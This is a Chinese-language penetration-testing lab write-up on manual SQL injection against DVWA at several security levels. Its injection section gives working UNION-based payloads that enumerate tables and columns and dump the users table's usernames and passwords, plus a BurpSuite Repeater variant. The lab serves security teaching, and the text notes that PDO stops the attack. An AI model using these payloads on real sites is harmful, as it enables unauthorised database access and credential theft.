渗透测试实验_使用DVWA进行SQL手动注入 SQL手动注入的基本步骤 安全等级Low Medium High
文章目录SQL手动注入1. 前期数据准备2. 前期实验准备3. SQL手动注入的预备知识4. SQL手动注入的基本步骤5. 实现SQL注入6. Low等级7. Medium等级8. High等级9. Impossible等级SQL手动注入1. 前期数据准备查看DVWA数据库的信息第一步:打开Windows2003虚拟机后,启动phpStudy第二步:进入MySQL第三步:查看数据库查看库名选择数据
·
文章目录
SQL手动注入
1. 前期数据准备
查看DVWA数据库的信息
-
第一步:打开Windows2003虚拟机后,启动phpStudy
-
第二步:进入MySQL
-
第三步:查看数据库
-
查看库名
-
选择数据库“dvwa”后,查看其中的表名
-
查看“dvwa“库中users表结构
-
查看users表中的username和password信息
2. 前期实验准备
- 第一步:先打开BurpSuite
- 第二步:再打开火狐浏览器的代理服务
- 第三步:在火狐浏览器中输入虚拟机IP,访问dvwa服务
3. SQL手动注入的预备知识
以下内容引用自《sql手动注入常用步骤》
原理
提起SQL注入,相信大家并不陌生,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互。
有可能存在SQL注入的数据库类型可以是Mysql,Mssql,Oracle,Postgress等等
预备知识
- 对MySQL数据库有一定了解;对基本的sql语句有所了解;
- 对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等
4. SQL手动注入的基本步骤
- 判断是什么类型注入,有没有过滤关键字,是否能绕过
- 确定存在注入的表的列数以及表中数据那些字段可以显示出来
- 获取数据库版本,用户,当前连接的数据库等信息
- 获取数据库中所有表的信息
- 获取某个表的列字段信息
- 获取相应表的数据
5. 实现SQL注入
- 寻找SQL注入的方法
- SQL注入的危害
6. Low等级
-
选择“Low”安全等级,再点击“SQL Injection”
-
判断注入类型
首先测试正常数据- 简单ID查询的正常功能体验:输入正确的User ID(例如1,2,3…),点击Submit,将显示ID First name,Surname信息。
- 输入错误的不显示
-
遍历数据库表,遍历出了数据库中所有内容。
- 尝试在正常数据后加上单引号,发现数据为空,加上注释符(注释符:#,–+ , //, – )后发现依旧可以正常输出,存在注入点。看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据,那么有可能存在注入点。
1’and’1’=1
1 and 1=2
- 判断有几个字段
- 在链接后面添加语句【 order by xx (数字任意)】,根据页面返回结果,来判断站点中的字段数目。
1’order by 1 #
- 联合查询显示位置
- 在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空,“-1” )来暴露可查询的字段号。
1’union select 1,2 #
- 联合查询库名
利用内置函数暴数据库信息
version()版本;database()数据库;user()用户;
1’union select version(),database() #
- 联合查询表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
- 联合查询表里面的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
- 联合查询users里面的用户名和密码
1' union select user,password from users #
7. Medium等级
- 先打开BurpSuite的代理
- 输入1提交,得到的报文发送给Repeater
- 修改报文中的id=2
id=2 union select 1,table_name from information_schema.tables wheretable_schema=(select database())#
8. High等级
-
先关闭BurpSuite的代理
-
输入1
-
遍历数据
1’and ‘1’=’2
- 查询回显位置
1' union select 1,3 #
- 查询dvwa库中的表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
- 查询数据库的版本号和当前连接的数据库名
1' union select version(),database() #
- 查询dvwa库中users表的列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
- 查询users表中user和password字段的数据
1' union select user,password from users #
9. Impossible等级
Impossible级别,代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
-
先关闭BurpSuite的代理,选择等级
-
输入1
-
判断注入类型,发现Impossible等级很难找到注入点
1 and 1=2
1’and ‘1’=’2
- 查询回显位置,发现无任何结果
1' union select 1,3 #
更多推荐
已为社区贡献7条内容
所有评论(0)